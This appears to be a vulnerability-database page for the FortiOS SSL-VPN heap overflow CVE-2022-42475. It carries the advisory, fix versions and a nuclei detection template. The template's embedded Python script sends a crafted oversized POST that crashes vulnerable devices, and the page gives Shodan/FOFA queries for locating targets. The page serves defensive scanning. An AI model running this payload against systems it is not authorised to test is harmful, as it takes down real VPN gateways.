HexBrain

Browse / CVEs / CVE-2022-42475

CVE-2022-42475· fortinet / fortios· CWE-197, CWE-787

Fortinet SSL-VPN - Heap-Based Buffer Overflow

Exploited in the wild. Listed by CISA on 2022-12-13; known to be used by ransomware.

criticalseverity
9.8CVSS score
99.5%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

A heap-based buffer overflow vulnerability [CWE-122] in FortiOS SSL-VPN (versions 7.2.0 through 7.2.2, 7.0.0 through 7.0.8, 6.4.0 through 6.4.10, 6.2.0 through 6.2.11, 6.0.15 and earlier) and FortiProxy SSL-VPN (versions 7.2.0 through 7.2.1, 7.0.7 and earlier) may allow a remote unauthenticated attacker to execute arbitrary code or commands via specifically crafted requests.

Impact

Remote attackers can execute arbitrary code or commands, potentially leading to full system compromise.

Fix

Fixed in: FortiOS >= 7.2.3, 7.0.9, 6.4.11, 6.2.12, 6.0.16 FortiOS-6K7K >= 7.0.8, 6.4.10, 6.2.12, 6.0.15 FortiProxy >= 7.2.2, 7.0.8, 2.0.12

How to confirm it

Send: GET {{BaseURL}}/remote/login ; GET {{BaseURL}}/login
Positive when: contains(body, "Launch FortiClient") || contains(body, "ftnt-fortinet-grid") and status_code == 200
Positive when: contains "Target appears to be VULNERABLE"

Run it with nuclei: nuclei -id CVE-2022-42475 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2022-42475

info:
  name: Fortinet SSL-VPN - Heap-Based Buffer Overflow
  author: 0xhaggis,pszyszkowski,pussycat0x
  severity: critical
  description: |
    A heap-based buffer overflow vulnerability [CWE-122] in FortiOS SSL-VPN (versions 7.2.0 through 7.2.2, 7.0.0 through 7.0.8, 6.4.0 through 6.4.10, 6.2.0 through 6.2.11, 6.0.15 and earlier) and FortiProxy SSL-VPN (versions 7.2.0 through 7.2.1, 7.0.7 and earlier) may allow a remote unauthenticated attacker to execute arbitrary code or commands via specifically crafted requests.
  impact: |
    Remote attackers can execute arbitrary code or commands, potentially leading to full system compromise.
  remediation: |
    Fixed in:
    FortiOS >= 7.2.3, 7.0.9, 6.4.11, 6.2.12, 6.0.16
    FortiOS-6K7K >= 7.0.8, 6.4.10, 6.2.12, 6.0.15
    FortiProxy >= 7.2.2, 7.0.8, 2.0.12
  reference:
    - https://github.com/0xhaggis/CVE-2022-42475
    - https://fortiguard.com/psirt/FG-IR-22-398
    - https://labs.watchtowr.com/fortinet-no-more-funny-titles-cve-2022-42475/
    - https://bishopfox.com/blog/exploit-cve-2022-42475
    - https://github.com/3yujw7njai/CVE-2022-42475-RCE-POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-42475
    cwe-id: CWE-197,CWE-787
    epss-score: 0.99474
    epss-percentile: 0.99943
    cpe: cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: fortinet
    product: fortios
    shodan-query:
      - cpe:"cpe:2.3:o:fortinet:fortios"
      - http.html:"/remote/login" "xxxxxxxx"
      - http.favicon.hash:"945408572"
    fofa-query:
      - body="/remote/login" "xxxxxxxx"
      - icon_hash="945408572"
  tags: cve,cve2022,ssl-vpn,vpn,fortios,fortigate,heap-based,bufferoverflow,intrusive,kev,vkev,vuln

flow: http () && code()

http:
  - method: GET
    path:
      - "{{BaseURL}}/remote/login"
      - "{{BaseURL}}/login"

    stop-at-first-match: true
    host-redirects: true
    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'contains(body, "Launch FortiClient") || contains(body, "ftnt-fortinet-grid")'
          - 'status_code == 200'
        condition: and

code:
  - engine:
      - py
      - python3

    source: |
        import sys, os, time, socket, ssl

        PADDING        = 0x4141414141414141
        PADDING_LEN    = 1024*12
        CONTENT_LENGTH = b"4294967297"

        # Configuration for false positive prevention
        POST_EXPLOIT_WAIT = 2       # Seconds to wait before post-exploit check
        POST_EXPLOIT_RETRIES = 3    # Number of retries for post-exploit connectivity
        CONNECTIVITY_TIMEOUT = 5    # Timeout for connectivity checks

        class SSLVPNExploit:
          def __init__(self, host, port):
            self.host = host
            self.port = port
            self.useSSL = os.getenv("Scheme") == "https"

          def create_socket(self, timeout=2.0):
            """Create a new socket connection"""
            try:
              sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
              sock.settimeout(timeout)
              if self.useSSL:
                ctx = ssl._create_unverified_context()
                sock = ctx.wrap_socket(sock)
              sock.connect((self.host, self.port))
              return sock
            except Exception as e:
              return None

          def check_connectivity(self, timeout=CONNECTIVITY_TIMEOUT):
            """
            Check if target is responsive with a simple GET request.
            Returns: (success: bool, response_time: float)
            """
            try:
              start_time = time.time()
              sock = self.create_socket(timeout)
              if sock is None:
                return False, 0

              get_req = b"GET /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode()
              get_req += b"\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\n\r\n"

              sock.sendall(get_req)
              sock.settimeout(timeout)
              response = sock.recv(4096)
              elapsed = time.time() - start_time
              sock.close()

              return len(response) > 0, elapsed
            except Exception as e:
              return False, time.time() - start_time

          def check_by_get(self):
            """Pre-flight connectivity check"""
            print("[>] Pre-flight connectivity check...")
            success, elapsed = self.check_connectivity()
            if success:
              print(f"[+] Target is responsive (response time: {elapsed:.2f}s)")
              return True
            else:
              print("[!] Target is not responsive - cannot test")
              return None

          def send_exploit_payload(self):
            """
            Send the exploit payload and analyze the response.
            Returns: (result_type: str, elapsed_time: float, details: str)
            Result types: 'PATCHED', 'TIMEOUT', 'EMPTY_RESPONSE', 'CONNECTION_DROP', 'ERROR'
            """
            req = bytearray(b"")
            req += b"POST /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode()
            req += b"\r\nContent-Length: " + CONTENT_LENGTH
            req += b"\r\nUser-Agent: AAAAAAAAAAAAAAAA\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n\r\n"
            req += b"AAAAAAAA" * PADDING_LEN

            try:
              sock = self.create_socket(timeout=10)
              if sock is None:
                return 'ERROR', 0, 'Could not connect'

              start_time = time.time()
              sock.sendall(req)
              sock.settimeout(10)
              buf = sock.recv(1048576)
              elapsed = time.time() - start_time
              sock.close()

              if len(buf) == 0:
                return 'EMPTY_RESPONSE', elapsed, 'Empty response received'

              if b"413" in buf or b"Request Entity Too Large" in buf:
                return 'PATCHED', elapsed, 'Target returned 413 - patched'

              return 'UNEXPECTED', elapsed, buf.decode("utf-8", errors="replace")[:200]

            except socket.timeout:
              return 'TIMEOUT', time.time() - start_time, 'Socket timeout'
            except Exception as e:
              return 'CONNECTION_DROP', time.time() - start_time, str(e)

          def post_exploit_connectivity_check(self):
            """
            Check if target is still responsive after exploit attempt.
            This is the KEY differentiator between:
            - Firewall/WAF drop (device still responsive)
            - Actual crash (device unresponsive)

            Returns: (responsive: bool, details: str)
            """
            print(f"[>] Waiting {POST_EXPLOIT_WAIT}s before post-exploit check...")
            time.sleep(POST_EXPLOIT_WAIT)

            for attempt in range(1, POST_EXPLOIT_RETRIES + 1):
              print(f"[>] Post-exploit connectivity check (attempt {attempt}/{POST_EXPLOIT_RETRIES})...")
              success, elapsed = self.check_connectivity(timeout=CONNECTIVITY_TIMEOUT)
              if success:
                return True, f"Device responsive after {elapsed:.2f}s"
              time.sleep(1)

            return False, "Device unresponsive after multiple attempts"

          def is_vulnerable(self):
            """
            Improved vulnerability detection with false positive prevention.

            Detection logic:
            1. If target returns 413 -> PATCHED (not vulnerable)
            2. If target times out waiting for data -> NOT VULNERABLE
            3. If connection drops/empty response:
               a. Check if device is still responsive
               b. If responsive -> FALSE POSITIVE (firewall/WAF dropped connection)
               c. If unresponsive -> LIKELY VULNERABLE (device crashed)
            """
            print("[>] Sending exploit payload...")
            result, elapsed, details = self.send_exploit_payload()

            print(f"[>] Exploit result: {result} (elapsed: {elapsed:.2f}s)")
            print(f"[>] Details: {details[:100]}...")

            # Case 1: Target is patched (413 response)
            if result == 'PATCHED':
              print("[+] Target is PATCHED - returned 413 Request Entity Too Large")
              return False

            # Case 2: Target waited for more data (timeout)
            if result == 'TIMEOUT':
              print("[+] Target waited for more data - NOT VULNERABLE")
              return False

            # Case 3: Connection drop or empty response - NEEDS VERIFICATION
            if result in ('EMPTY_RESPONSE', 'CONNECTION_DROP'):
              print("[!] Connection dropped or empty response - verifying if this is a false positive...")

              # KEY FIX: Check if device is still responsive
              responsive, check_details = self.post_exploit_connectivity_check()

              if responsive:
                # Device is still responsive = Firewall/WAF dropped the connection
                print(f"[!] FALSE POSITIVE DETECTED: {check_details}")
                print("[!] Device is still responsive after exploit attempt")
                print("[!] This indicates firewall/IPS/WAF intervention, NOT a crash")
                return False  # NOT VULNERABLE - false positive
              else:
                # Device is unresponsive = Possible crash
                print(f"[+] Device appears to have crashed: {check_details}")
                print("[+] Target may be VULNERABLE (device unresponsive after exploit)")
                return True  # LIKELY VULNERABLE

            # Case 4: Unexpected response
            if result == 'UNEXPECTED':
              print(f"[?] Unexpected response received - manual review needed")
              print(f"[?] Response: {details}")
              return None

            # Case 5: Error
            print(f"[!] Error during exploit: {details}")
            return None

        if __name__ == '__main__':
          host = os.getenv("Host")
          port = int(os.getenv("Port"))

          print("=" * 60)
          print("CVE-2022-42475 - Fortinet SSL-VPN Heap Overflow Check")
          print("(With False Positive Prevention)")
          print("=" * 60)
          print(f"[*] Target: {host}:{port}")
          print(f"[*] SSL/TLS: {os.getenv('Scheme') == 'https'}")

          exploit = SSLVPNExploit(host, port)

          # Step 1: Pre-flight connectivity check
          check = exploit.check_by_get()
          if check != True:
            print("[!] Pre-flight check failed - target unreachable")
            exit(1)

          # Step 2: Vulnerability check with false positive prevention
          result = exploit.is_vulnerable()

          if result == None:
            print("[!] An error occurred testing for the vulnerability.")
            print("[!] Is this even a FortiGate SSL-VPN?")
            exit(2)

          if result == True:
            print("=" * 60)
            print("[+] Target appears to be VULNERABLE")
            print("[+] Device became unresponsive after exploit payload")
            print("=" * 60)
            exit(0)
          else:
            print("=" * 60)
            print("[+] Target is NOT vulnerable")
            print("=" * 60)
            exit(1)

    matchers:
      - type: word
        words:
          - "Target appears to be VULNERABLE"

References

Use this check only on systems you are authorised to test. Where the data comes from